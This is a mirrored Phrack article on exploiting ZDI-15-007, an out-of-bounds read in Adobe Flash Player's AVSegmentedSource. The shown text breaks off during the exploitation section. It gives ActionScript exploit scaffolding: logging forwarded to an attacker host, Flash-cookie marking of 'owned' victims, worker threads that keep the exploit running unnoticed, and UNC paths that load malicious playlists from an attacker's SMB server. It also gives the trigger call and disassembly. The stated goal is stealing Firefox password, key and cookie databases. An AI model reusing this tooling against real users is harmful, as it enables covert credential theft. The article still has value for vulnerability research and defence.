mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
1823 lines
72 KiB
Text
1823 lines
72 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0f, Issue 0x45, Phile #0x0d of 0x10
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=---------------=[ The Art of Exploitation ]=---------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=--------------=[ Obituary for an Adobe Flash Player bug ]=-------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=------------------------------=[ huku ]=-------------------------------=|
|
||
|
|=------------------------=[ huku@grhack.net ]=--------------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
|
||
|
--[ Table of contents
|
||
|
|
||
|
0 - Introduction
|
||
|
1 - Preparing a debugging environment
|
||
|
1.1 - Your first AS3 "Hello, World!"
|
||
|
1.2 - Printing output
|
||
|
2 - Useful ActionScript classes
|
||
|
2.1 - Marking owned clients
|
||
|
2.2 - Preventing the unresponsive script pop-up from showing up
|
||
|
3 - The bug
|
||
|
3.1 - Analysis
|
||
|
3.2 - Exploitation
|
||
|
3.2.1 - Assessment
|
||
|
3.2.2 - From relative to absolute information leak
|
||
|
3.2.3 - Discovering Flash Player base address
|
||
|
3.2.4 - Discovering the CRT heap address
|
||
|
3.2.5 - Walking CRT heap allocations
|
||
|
3.2.6 - Reading arbitrary files
|
||
|
3.2.7 - Overall exploit methodology
|
||
|
3.2.8 - Logz
|
||
|
4 - Conclusion
|
||
|
5 - Thanks
|
||
|
6 - References
|
||
|
7 - Codez
|
||
|
|
||
|
|
||
|
--[ 0 - Introduction
|
||
|
|
||
|
The 21st of January was a sad day. A beautiful vulnerability, ZDI-15-007
|
||
|
[01], was killed by a person using the alias "bilou". It was one of those
|
||
|
days that some people had to fire up IDA Pro again and start reversing in
|
||
|
search of new 0days. Yes, this article will deal with some Adobe Flash
|
||
|
exploitation, as if the P0 circus was not enough already (to which the
|
||
|
author regrets having taken part by posting comments a couple of times).
|
||
|
|
||
|
Let's get this straight, Adobe Flash is indeed high in a security
|
||
|
researcher's audit list, and there's a good reason for that, but all this
|
||
|
defamation against Adobe's products, is, obviously well lead by other
|
||
|
coorporate organizations whose products are not less vulnerable [04]. It's
|
||
|
kinda funny how Firefox, for example, #2 in the list of top 50 products by
|
||
|
total number of distinct vulnerabilities (according to [03]), denies to
|
||
|
activate a vulnerable Adobe Flash plug-in, listed under #15. How wonderful
|
||
|
would it be if Flash did the same? Imagine Flash, for example, denying to
|
||
|
run on shitty browsers [02]. In a security circus where famous security
|
||
|
researcher celebrities have chosen sides, we suggest that hackers benefit
|
||
|
from both sides' idiocy.
|
||
|
|
||
|
This article will deal with the aforementioned vulnerability. We will show
|
||
|
how it can be leveraged to disclose, not only sensitive information from a
|
||
|
sandboxed Adobe Flash process, but other sensitive information from the
|
||
|
target's filesystem as well. More specifically, we will focus on how it's
|
||
|
possible to steal the Firefox SQLite databases containing stored passwords,
|
||
|
encryption keys and cookies from a victim's computer. These passwords, can
|
||
|
then be used to access the target machine via other means thus allowing one
|
||
|
to indirectly, escape the sandbox restrictions imposed by Adobe Flash on
|
||
|
Firefox. Since our 0days have long stopped working, it's a good chance for
|
||
|
us to share our experience with the community.
|
||
|
|
||
|
This article is organised as follows. The first section deals with how a
|
||
|
working/debugging environment for Flash development is set up. We believe
|
||
|
that this will help the interesting reader get started with Adobe Flash
|
||
|
exploitation and will aid him/her in discovering his/her own 0day
|
||
|
vulnerabilities. The second section deals with certain problems that may
|
||
|
arise during client side exploitation and presents simple ActionScript
|
||
|
tricks that can be used to resolve them. Last but not least, the third
|
||
|
section analyzes the actual vulnerability and the steps taken to achieve
|
||
|
arbitrary file stealing by abusing a simple information/memory disclosure
|
||
|
primitive.
|
||
|
|
||
|
It should be noted that the code snippets and other information presented
|
||
|
in the remainder of this article correspond to version 15.0.0.189 of the
|
||
|
NPAPI release of Adobe Flash Player. The vulnerability is present in older
|
||
|
versions as well, but the author was unable to find older IDA Pro databases
|
||
|
in his hard drive :P
|
||
|
|
||
|
|
||
|
--[ 1 - Preparing a debugging environment
|
||
|
|
||
|
Before delving into the specifics of ZDI-15-007, let's have a look at
|
||
|
preparing the minimal toolset for compiling, running and debugging
|
||
|
ActionScript code. To avoid using complex commercial IDEs, we will limit
|
||
|
ourselves to publicly available open source software instead, which is more
|
||
|
than enough for building SWF objects. The development toolchain for
|
||
|
ActionScript applications consists of the following components:
|
||
|
|
||
|
* The FLEX SDK distributed by the Apache Foundation [05] or Adobe [06].
|
||
|
You should stick with the first. Just visit the Apache foundation
|
||
|
homepage and download the automated installer.
|
||
|
|
||
|
* The runtime targeting the Flash version of interest. Usually named
|
||
|
"playerglobal.swc". This is automatically downloaded for you by the
|
||
|
Flex SDK installer. You can always grab the latest version from [17].
|
||
|
|
||
|
* Your favorite console editor (vim, emacs, nano, whatever).
|
||
|
|
||
|
I guess all Phrack readers know how to install stuff, so I'll leave this as
|
||
|
an exercise to the reader :P
|
||
|
|
||
|
As an alternative to the above, one may use Haxe [20]. Haxe allows a
|
||
|
developer to write code using a strictly typed programming language and
|
||
|
then compile it, or even cross-compile it, to a set of possible target
|
||
|
runtimes. Adobe Flash is in the list of supported application runtimes.
|
||
|
In this article, however, we will stick to the first of the two options,
|
||
|
but Haxe is also worth exploring from an attacker's perspective.
|
||
|
|
||
|
|
||
|
----[ 1.1 - Your first AS3 "Hello, World!"
|
||
|
|
||
|
Fire up your favorite text editor and create a file named "Test.as" with
|
||
|
the following contents. Just like Java, AS3 source code files are named
|
||
|
after the public class they declare.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
package
|
||
|
{
|
||
|
import flash.display.Sprite;
|
||
|
|
||
|
public class Test extends Sprite
|
||
|
{
|
||
|
public function Test()
|
||
|
{
|
||
|
trace("Hello, world!\n");
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
// vim: set syntax=cpp:
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
Unless you have a vim syntax file for AS3, the last comment will put some
|
||
|
color in your editor.
|
||
|
|
||
|
The following is a typical Makefile used to build "Test.swf" from
|
||
|
"Test.as". Before running `make', make sure you have set `SDK_PREFIX' to
|
||
|
the directory where you have installed the Flex SDK.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
SDK_PREFIX=/var/flex
|
||
|
|
||
|
MXMLC=$(SDK_PREFIX)/bin/mxmlc
|
||
|
MXMLC_FLAGS=-compiler.optimize -warnings
|
||
|
|
||
|
SRCS=Test.as
|
||
|
BIN=Test.swf
|
||
|
|
||
|
all:
|
||
|
$(MXMLC) $(SRCS) $(MXMLC_FLAGS) -output $(BIN)
|
||
|
|
||
|
.PHONY: clean
|
||
|
clean:
|
||
|
rm -fr $(BIN)
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
Running `make' will generate the required SWF file.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
$ make
|
||
|
~/flex/bin/mxmlc Test.as -compiler.optimize -warnings -output Test.swf
|
||
|
Loading configuration file ~/flex/frameworks/flex-config.xml
|
||
|
Test.swf (581 bytes)
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
----[ 1.2 - Printing output
|
||
|
|
||
|
Admittedly, the best way of debugging code is printing output (who needs
|
||
|
`gdb' anyway?). The AS3 API provides a function named `trace()' which is
|
||
|
used to produce debugging messages. However, the messages can only be
|
||
|
viewed when a debugging version of Adobe Flash Player is used and the SWF
|
||
|
is run from within Flash Builder Studio. This is bad news; no clients use a
|
||
|
debugging version of Flash and I prefer spending 50$ for anything other
|
||
|
than buying Flash Studio :)
|
||
|
|
||
|
I can think of at least two cases where output messages can be useful:
|
||
|
|
||
|
* During development; seeing what's wrong with your exploit is fastest
|
||
|
way of resolving issues with your code and improving your exploit's
|
||
|
reliability.
|
||
|
|
||
|
* During production; watching clients being owned - priceless :)
|
||
|
|
||
|
For the first case output messages can be printed directly in the users
|
||
|
browser. For the second case, logs can be forwarded to a remote log server
|
||
|
controlled by the attacker. `Console' class, implemented in file
|
||
|
"Console.as" in the attached exploit, is capable of performing both. The
|
||
|
boolean constants `LOCAL_DEBUG' and `REMOTE_DEBUG' control what kind of
|
||
|
logging strategy is used:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
public class Console
|
||
|
{
|
||
|
// Print messages to a standard text field.
|
||
|
private const LOCAL_DEBUG:Boolean = true;
|
||
|
|
||
|
// Forward messages to remote host. Our tool, named `xmlsocketd.py', is
|
||
|
// supposed to be waiting there for incoming connections.
|
||
|
private const REMOTE_DEBUG:Boolean = true;
|
||
|
private const REMOTE_HOST:String = "1.2.3.4";
|
||
|
private const REMOTE_PORT:int = 1234;
|
||
|
|
||
|
...
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
When `LOCAL_DEBUG' is set to `true', as shown above, a text field is
|
||
|
created and logs are written in it. The text field is automatically
|
||
|
resized and the output scrolls down just like your favorite terminal
|
||
|
emulator. If `REMOTE_DEBUG' is true, an XML socket is used to forward
|
||
|
messages to a remote machine.
|
||
|
|
||
|
The attached exploit comes with a simple Python server that receives the
|
||
|
messages and writes them in a SQLite database. A simple web interface can
|
||
|
be used to view them.
|
||
|
|
||
|
|
||
|
--[ 2 - Useful ActionScript classes
|
||
|
|
||
|
Let's forget about the actual vulnerability for a moment and let's focus on
|
||
|
various problems that may arise during the exploitation process. Each of
|
||
|
the following sections deals with such a problem and presents a simple
|
||
|
solution.
|
||
|
|
||
|
|
||
|
----[ 2.1 - Marking owned clients
|
||
|
|
||
|
A first problem that may arise when writing AS3 exploits (in fact, during
|
||
|
client side exploitation in general) is how already exploited clients are
|
||
|
distinguished from clients on which the exploit failed and clients that are
|
||
|
targeted for the first time. If for some reason the exploit fails on a
|
||
|
client, maybe because the Flash Player plug-in crashed because of accessing
|
||
|
an unmapped memory address for example, it's good not to run the exploit
|
||
|
again next time the client in question refreshes the malicious web page. A
|
||
|
means to achieving this kind of behavior is using some kind of persistent
|
||
|
information on the client's side. The two most well known methods are the
|
||
|
following:
|
||
|
|
||
|
|
||
|
* Cookies. We all know and kinda love cookies.
|
||
|
|
||
|
* JavaScript persistent storage APIs
|
||
|
|
||
|
* HTML5 web storage [07]
|
||
|
|
||
|
* WebSQL [08]. Nowadays considered obsolete, but some browsers
|
||
|
still support it
|
||
|
|
||
|
|
||
|
Even though the mechanisms above can indeed be used as a possible solution,
|
||
|
they both come with their drawbacks. Cookies are not that reliable (e.g.
|
||
|
private browsing, cookies being cleaned up when the browser exits), while a
|
||
|
JavaScript based solution requires some form of communication between the
|
||
|
JavaScript code and our Flash exploit. Even though this is possible [09],
|
||
|
it kind of complicates things. A pure AS3 solution is preferred.
|
||
|
|
||
|
For the sake of developing the attached Flash exploit, I decided to make
|
||
|
use of ActionScript's `SharedObject' class [10]. This API allows for
|
||
|
managing persistent storage on the clients side directly from the AVM
|
||
|
engine and it's as simple as the equivalent JavaScript APIs. An additional
|
||
|
benefit is that browsers usually don't clean the, so called, Flash cookies
|
||
|
and thus marking a client this way may be better and more reliable.
|
||
|
|
||
|
The logic is implemented in `Persistence.as' and consists of two simple
|
||
|
methods, namely `is_marked()', for testing wether a client has been marked,
|
||
|
and `mark()' that uses persistent storage to mark a victim. The code for
|
||
|
`is_marked()' is shown below:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
public static function is_marked():Boolean
|
||
|
{
|
||
|
var ret:Boolean = true;
|
||
|
var lso:SharedObject = SharedObject.getLocal(Persistence.ID);
|
||
|
|
||
|
// If cookie not present, or more than the specified amount of time has
|
||
|
// elapsed, the client is not considered marked.
|
||
|
if(!("time" in lso.data) ||
|
||
|
(new Date()).time - lso.data["time"] >= Persistence.INTERVAL)
|
||
|
ret = false;
|
||
|
|
||
|
lso.close();
|
||
|
return ret;
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
The code checks if a cookie with a chosen name, `Persistence.ID', already
|
||
|
exists in the victims computer. The cookie is supposed to hold the
|
||
|
timestamp of the last exploit attempt. If more than `Persistence.INTERVAL'
|
||
|
milliseconds have elapsed since that time, or if the cookie does not exist
|
||
|
in the victim's computer, then the client is considered unmarked and the
|
||
|
exploitation proceeds. Otherwise, the exploit exits immediately.
|
||
|
Successful exploitation attempts result in the victim being marked, so that
|
||
|
the malicious SWF is not activated again if the user refreshes the
|
||
|
container HTML page.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
public static function mark():void
|
||
|
{
|
||
|
var lso:SharedObject = SharedObject.getLocal(Persistence.ID);
|
||
|
lso.data["time"] = (new Date()).time;
|
||
|
lso.flush();
|
||
|
lso.close();
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
In the attached exploit a client is marked by installing a Flash cookie
|
||
|
named "cookie".
|
||
|
|
||
|
|
||
|
----[ 2.2 - Preventing the unresponsive script pop-up from showing up
|
||
|
|
||
|
As it wil become apparent later, successful exploitation of the analyzed
|
||
|
vulnerability takes a certain amount of time. It's important, for example,
|
||
|
that, until all the required files from the victim's computer have been
|
||
|
uploaded to the attacker's server, the whole exploitation process is not
|
||
|
interrupted. A common problem, that arises when exploiting
|
||
|
"plugin-container.exe" processes, is the unresponsive script pop-up shown
|
||
|
by Firefox (why this happens is out of the scope of this article). This
|
||
|
section deals with the aforementioned problem and presents a simple
|
||
|
solution, implemented in the attached exploit, for avoiding annoying
|
||
|
browser pop-ups.
|
||
|
|
||
|
Just like JavaScript, ActionScript has its own implementation of web
|
||
|
workers, an abstraction over an operating system's threading mechanism.
|
||
|
Using web workers allows for running several SWF files in parallel which,
|
||
|
in turn, allows for executing the main exploitation logic in separate
|
||
|
thread, thus not keeping the main plug-in thread busy. While the
|
||
|
exploitation process is carried out in the background, the attacker can,
|
||
|
for example, present a silly Flash game to the victim to buy some time.
|
||
|
Embedding an exploit to your favorite porn movie is also a good idea :P
|
||
|
|
||
|
The exploit's entry point, which for obvious purposes was named "Main",
|
||
|
looks like the following:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
public class Main extends MovieClip
|
||
|
{
|
||
|
// Array of URIs to worker SWF files; add extra workers here.
|
||
|
private const workers:Array = new Array("WorkerMain.swf");
|
||
|
|
||
|
public function Main()
|
||
|
{
|
||
|
this._mcv = new Vector.<MessageChannel>();
|
||
|
this._con = new Console(this);
|
||
|
|
||
|
if(Persistence.is_marked() == false) // (1)
|
||
|
{
|
||
|
for each(var swf_url:String in this.workers)
|
||
|
{
|
||
|
this._con.msg("Will now load worker from " + swf_url);
|
||
|
swf_url += "?rnd=" + getTimer().toString(16);
|
||
|
var req:URLRequest = new URLRequest(swf_url);
|
||
|
var ldr:URLLoader = new URLLoader();
|
||
|
ldr.dataFormat = URLLoaderDataFormat.BINARY;
|
||
|
ldr.addEventListener(Event.COMPLETE, this._on_complete);
|
||
|
ldr.load(req);
|
||
|
}
|
||
|
}
|
||
|
else
|
||
|
this._con.msg("Target is marked");
|
||
|
}
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
At (1), the `Persistence' class (presented in the previous section) is used
|
||
|
to check if the client has already been successfully exploited from a
|
||
|
previous run of the exploit. If not, or if this is a new client, the SWF
|
||
|
files specified in the `workers[]' array are loaded one by one using URL
|
||
|
requests (the "?rnd=" URL parameter is used for avoiding possible caching
|
||
|
from the client's side, a common trick used by scripting languages). Method
|
||
|
`_on_complete()' is executed for each worker successfully loaded from its
|
||
|
corresponding URL. Eventually each worker starts running by calling the
|
||
|
`start()' method.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
private function _on_complete(evt:Event):void
|
||
|
{
|
||
|
...
|
||
|
|
||
|
worker.start();
|
||
|
this._con.msg("New worker started");
|
||
|
}
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
This function will also create a `MessageChannel' instance for each worker,
|
||
|
so that asynchronous communication with the main thread is possible. In the
|
||
|
attached exploit, the message channel is used by the workers to forward
|
||
|
debugging messages to the main thread, who will, in turn, forward them to
|
||
|
the output stream specified in "Console.as". The relevant code is not
|
||
|
presented here, as this feature is just a minor, but useful, detail of the
|
||
|
exploit.
|
||
|
|
||
|
|
||
|
--[ 3. The bug
|
||
|
|
||
|
----[ 3.1 Analysis
|
||
|
|
||
|
TL;DR, the vulnerability lies in method `getABRProfileInfoAtIndex()' of
|
||
|
class `AVSegmentedSource'. Unfortunately, at the time of writing, the
|
||
|
`AVSegmentedSource' API is still undocumented. Any information, that will
|
||
|
be presented in the following sections, was recovered by reverse
|
||
|
engineering the ActiveX and NPAPI versions of Adobe Flash. The bug was also
|
||
|
present in the PPAPI version of Chrome (a.k.a. "pepperflash.dll"), but the
|
||
|
author didn't have enough time to investigate further.
|
||
|
|
||
|
`AVSegmentedSource' is the class responsible for HLS playback. According
|
||
|
to Wikipedia [11]:
|
||
|
|
||
|
HTTP Live Streaming (also known as HLS) is an HTTP-based media
|
||
|
streaming communications protocol implemented by Apple Inc. as part of
|
||
|
its QuickTime, Safari, OS X, and iOS software. It works by breaking the
|
||
|
overall stream into a sequence of small HTTP-based file downloads, each
|
||
|
download loading one short chunk of an overall potentially unbounded
|
||
|
transport stream. As the stream is played, the client may select from
|
||
|
a number of different alternate streams containing the same material
|
||
|
encoded at a variety of data rates, allowing the streaming session to
|
||
|
adapt to the available data rate.
|
||
|
|
||
|
To start playback, a client has to load a, so called, HLS manifest, which
|
||
|
is simply an .m3u or .m3u8 (unicode version of .m3u) playlist. Wikipedia
|
||
|
[11] explains:
|
||
|
|
||
|
At the start of the streaming session, it downloads an extended M3U
|
||
|
playlist containing the metadata for the various sub-streams which are
|
||
|
available.
|
||
|
|
||
|
The following snippet shows how one can do that programmatically in AS3.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
var source:AVSegmentedSource = new AVSegmentedSource();
|
||
|
var stream:AVStream = new AVStream(source);
|
||
|
...
|
||
|
|
||
|
stream.load("C:\\playlist.m3u8");
|
||
|
stream.play();
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
People familiar with ActionScript development should have already noticed
|
||
|
that the path given as the first argument to `load()' is the filename of a
|
||
|
local file residing in the user's filesystem (back when I was developing
|
||
|
this exploit, `load()' failed when a URL was passed to it, maybe this
|
||
|
problem has been fixed by now). This, however, kind of contradicts the
|
||
|
sandbox model of Adobe Flash; Flash applications are not allowed to write
|
||
|
or even read local files. So, how is a SWF movie supposed to load an HLS
|
||
|
manifest, if it has to write it to the user's filesystem first?
|
||
|
|
||
|
Unless `load()' supports URLs in recent versions of Flash Player, playback
|
||
|
of HLS streams is not supported on platforms other than Microsoft Windows;
|
||
|
on Windows systems, one can bypass this limitation by using UNC paths,
|
||
|
either in the standard "\\server\path" format or using the WebDAV notation
|
||
|
"\\server@port\path", which, unfortunately, is not supported on Windows
|
||
|
versions greater than Microsoft Windows 7. An attacker can place an
|
||
|
arbitrary M3U8 playlist on a SMB/SAMBA server under his or her control and
|
||
|
have the target client load it as shown below:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
// Works on all Microsoft Windows versions.
|
||
|
stream.load("\\\\1.2.3.4\\exploit\\playlist.m3u8");
|
||
|
stream.play();
|
||
|
|
||
|
// Works only on Microsoft Windows 7 and probably XP.
|
||
|
stream.load("\\\\1.2.3.4@8080\\exploit\\playlist.m3u8");
|
||
|
stream.play();
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
As a side note, the author would like to stress the fact that this article
|
||
|
will not deal with the server component of the attached exploit that serves
|
||
|
the malicious M3U8 files. The interested reader is advised to have a look
|
||
|
at "m3u8.php", "dumper.php" and the relevant code in "WorkerMain.as". These
|
||
|
details have been intentional left out so that the reader's attention is
|
||
|
not focused on simple technical issues like setting up Samba, Apache, DAV
|
||
|
and so on. For more information have a look at "README.md" in the exploit's
|
||
|
top-level directory.
|
||
|
|
||
|
HLS is quite flexible. An M3U8 playlist may specify the same media source
|
||
|
(e.g. your favorite porn video) in various encodings and various bitrates.
|
||
|
This way clients can adapt based on availability of bandwidth or other
|
||
|
resources. Additionally a media source is allowed to be broken in smaller
|
||
|
pieces, called periods, so that clients can faster seek to the required
|
||
|
time location. Since the author is not really a media guy, the information
|
||
|
and terminology in the following paragraphs is presented ad referendum.
|
||
|
|
||
|
Let's see an example M3U8 manifest taken from [16]:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
#EXTM3U
|
||
|
|
||
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=150000,RESOLUTION=416x234, \
|
||
|
CODECS="avc1.42e00a,mp4a.40.2"
|
||
|
http://example.com/low/index.m3u8
|
||
|
|
||
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=240000,RESOLUTION=416x234, \
|
||
|
CODECS="avc1.42e00a,mp4a.40.2"
|
||
|
http://example.com/lo_mid/index.m3u8
|
||
|
|
||
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=440000,RESOLUTION=416x234, \
|
||
|
CODECS="avc1.42e00a,mp4a.40.2"
|
||
|
http://example.com/hi_mid/index.m3u8
|
||
|
|
||
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=640000,RESOLUTION=640x360, \
|
||
|
CODECS="avc1.42e00a,mp4a.40.2"
|
||
|
http://example.com/high/index.m3u8
|
||
|
|
||
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=64000,CODECS="mp4a.40.5"
|
||
|
http://example.com/audio/index.m3u8
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
The manifest shown above defines 5, so called, bitrate profiles for the
|
||
|
same media source. A client can choose any of these. For example, a low
|
||
|
bandwidth client would pick the first entry and would proceed by loading
|
||
|
the M3U8 manifest specified in the first "#EXT-X-STREAM-INF" entry. In
|
||
|
turn, this manifest may look like the following:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
#EXTM3U
|
||
|
#EXT-X-PLAYLIST-TYPE:EVENT
|
||
|
#EXT-X-TARGETDURATION:10
|
||
|
#EXT-X-MEDIA-SEQUENCE:0
|
||
|
#EXTINF:10,
|
||
|
fileSequence0.ts
|
||
|
#EXTINF:10,
|
||
|
fileSequence1.ts
|
||
|
#EXTINF:10,
|
||
|
fileSequence2.ts
|
||
|
#EXTINF:10,
|
||
|
fileSequence3.ts
|
||
|
#EXTINF:10,
|
||
|
fileSequence4.ts
|
||
|
...
|
||
|
#EXTINF:10,
|
||
|
fileSequence120.ts
|
||
|
#EXTINF:10,
|
||
|
fileSequence121.ts
|
||
|
#EXT-X-ENDLIST
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
The tag names starting with the hash character are not relevant right now.
|
||
|
What is important is that the files named "fileSequenceXXX.ts" correspond
|
||
|
to the media source's periods.
|
||
|
|
||
|
Once loading of the HLS manifest is complete, the `AVSegmentedSource'
|
||
|
instance may be used for querying information about the loaded manifest.
|
||
|
One of the several methods exported by this class is
|
||
|
`getABRProfileInfoAtIndex()'. The prototype of this API is shown below:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
getABRProfileInfoAtIndex(periodIndex:int, abrProfileIndex:int):
|
||
|
AVABRProfileInfo
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
The API requires two integers, the period index (the index of the media
|
||
|
source piece) and the bitrate profile index. For example, to query the
|
||
|
profile information for the period "fileSequenece1.ts" of the low bandwidth
|
||
|
profile, one might do the following:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
source.getABRProfileInfoAtIndex(1, 0);
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
The reader should have already guessed where the actual bug lies. The
|
||
|
second argument passed to this API is not checked. The bug can be triggered
|
||
|
by calling `getABRProfileInfoAtIndex()' as shown below:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
source.getABRProfileInfoAtIndex(0, 0xdeadbeef);
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
Here's what's going on under the hood. The presented assembly snippet was
|
||
|
taken from "NPSWF32_15_0_0_189.dll".
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
; This is `getABRProfileInfoAtIndex()' entry point
|
||
|
sub_102354CC proc near
|
||
|
...
|
||
|
xor ebx, ebx
|
||
|
|
||
|
...
|
||
|
mov eax, [eax+40h]
|
||
|
mov ecx, [ebp+arg_4] ; Profile index controlled by the attacker
|
||
|
mov esi, [eax+ecx*4] ; Read pointer to AVABRProfileInfo (1)
|
||
|
cmp esi, ebx
|
||
|
jnz short loc_10235525
|
||
|
|
||
|
loc_10235525:
|
||
|
...
|
||
|
push dword ptr [esi+8] ; Read 3 doublewords from `esi' (2)
|
||
|
push dword ptr [esi+4]
|
||
|
push dword ptr [esi]
|
||
|
|
||
|
loc_1023553E:
|
||
|
...
|
||
|
call sub_102347FC ; AVABRProfileInfo constructor
|
||
|
|
||
|
loc_1023554D:
|
||
|
pop edi
|
||
|
pop ebx
|
||
|
leave
|
||
|
retn 8 ; Return AVABRProfileInfo
|
||
|
sub_102354CC endp
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
Argument `arg_4' is `abrProfileIndex' shown the API's definition and is
|
||
|
fully controlled by the attacker. As it can be seen from the above assembly
|
||
|
snippet, the integer passed to this method at (1) is not checked and it's
|
||
|
used to access an array of pointers to `AVABRProfileInfo' instances each
|
||
|
representing an available ABR profile specified in the loaded HLS manifest.
|
||
|
A pointer is read from the memory address at "[EAX + abrProfileInfo * 4]"
|
||
|
and stored in ESI. This pointer is then dereferenced 3 times at (2) to read
|
||
|
three doublewords. All three of them are leaked back to the user as part of
|
||
|
the returned `AVABRProfileInfo' instance. Accessing the leaked memory is
|
||
|
just a matter of doing the following:
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
// Our `Console' class defined in a previous section
|
||
|
var con:Console = new Console(this);
|
||
|
var info:AVABRProfileInfo = source.getABRProfileInfoAtIndex(0, 0xdeadbeef);
|
||
|
|
||
|
// Print leaked values in hexadecimal format.
|
||
|
con.msg(info.width.toString(16));
|
||
|
con.msg(info.height.toString(16));
|
||
|
con.msg(info.bitrate.toString(16));
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
----[ 3.2 Exploitation
|
||
|
|
||
|
------[ 3.2.1 Assessment
|
||
|
|
||
|
The following C++ pseudocode gives an oversimplified model for the
|
||
|
aforementioned vulnerability.
|
||
|
|
||
|
|
||
|
--- snip ---
|
||
|
struct ABRProfileInfo
|
||
|
{
|
||
|
uint32_t width;
|
||
|
uint32_t height;
|
||
|
uint32_t bitrate;
|
||
|
};
|
||
|
|
||
|
class AVSegmentedSource
|
||
|
{
|
||
|
private:
|
||
|
struct ABRProfileInfo *profiles[];
|
||
|
...
|
||
|
|
||
|
public:
|
||
|
struct ABRProfileInfo *getABRProfileInfoAtIndex(int, int);
|
||
|
...
|
||
|
};
|
||
|
|
||
|
struct ABRProfileInfo *AVSegmentedSource::getABRProfileInfoAtIndex(int i,
|
||
|
int j)
|
||
|
{
|
||
|
...
|
||
|
return this->profiles[j];
|
||
|
}
|
||
|
|
||
|
|
||
|
AVSegmentedSource *source = new AVSegmentedSource();
|
||
|
AVABRProfileInfo *info;
|
||
|
...
|
||
|
|
||
|
info = source->getABRProfileInfoAtIndex(i, j);
|
||
|
printf("%x %x %x\n", info->width, info->height, info->bitrate);
|
||
|
--- snip ---
|
||
|
|
||
|
|
||
|
To successfully exploit this vulnerability an attacker will have to provide
|
||
|
a number `j', the second argument to `getABRProfileInfoAtIndex(), such that
|
||
|
`&profiles[j]' happens to fall on a mapped memory address, say 0x11111111,
|
||
|
and the doubleword at this location holds a valid pointer to an
|
||
|
`ABRProfileInfo' structure, say 0x22222222. If these conditions are met,
|
||
|
the call to the vulnerable API will complete successfully and the attacker
|
||
|
will be given back the three doublewords at 0x22222222 (member `width'),
|
||
|
0x22222222+4 (member `height') and 0x22222222+8 (member `bitrate') in the
|
||
|
returned `ABRProfileInfo' structure. Assuming the attacker, somehow,
|
||
|
controls the doubleword at 0x11111111, he or she can then leak three
|
||
|
doublewords from an arbitrary memory address by first assigning the victim
|
||
|
memory address at 0x11111111 and then triggering the vulnerability.
|
||
|
|
||
|
The following figure shows the relationship between the various structures
|
||
|
described so far.
|
||
|
|
||
|
|
||
|
+------+ +--------------+ +---------+
|
||
|
| this |-------->| *profiles[0] |-------->| width |
|
||
|
+------+ +--------------+ +---------+
|
||
|
| *profiles[1] |----+ | height |
|
||
|
+--------------+ | +---------+
|
||
|
. . | | bitrate |
|
||
|
. . | +---------+
|
||
|
. . |
|
||
|
+--------------+ | +---------+
|
||
|
| *profiles[N] | .-------->| width |
|
||
|
+--------------+ +---------+
|
||
|
| height |
|
||
|
+---------+
|
||
|
| bitrate |
|
||
|
+---------+
|
||
|
|
||
|
|
||
|
So far so good. However, assuming the attacker has no information regarding
|
||
|
the virtual memory layout of the victim Flash process, there's no guarantee
|
||
|
that for an arbitrary number `j', `&profiles[j]' will, in fact, be a mapped
|
||
|
memory address. For the following we are going to make the assumption that
|
||
|
the attacker has no information regarding the state of the Adobe Flash
|
||
|
process and has no way of gaining insight about it. That is, we are going
|
||
|
to assume that the presented vulnerability is the only vulnerability the
|
||
|
attacker has knowledge about and thus no safe assumptions can be made about
|
||
|
the value of `j'.
|
||
|
|
||
|
|
||
|
------[ 3.2.2 From relative to absolute information leak
|
||
|
|
||
|
Ideally, one would attempt to place controlled data, a string for example,
|
||
|
right next to the `profiles[]' array using well known and studied heap
|
||
|
shaping techniques. Then, with a properly chosen value for `j',
|
||
|
`&profiles[j]' would fall on the aformentioned controlled data region,
|
||
|
resulting in total control on the address from where data will be leaked
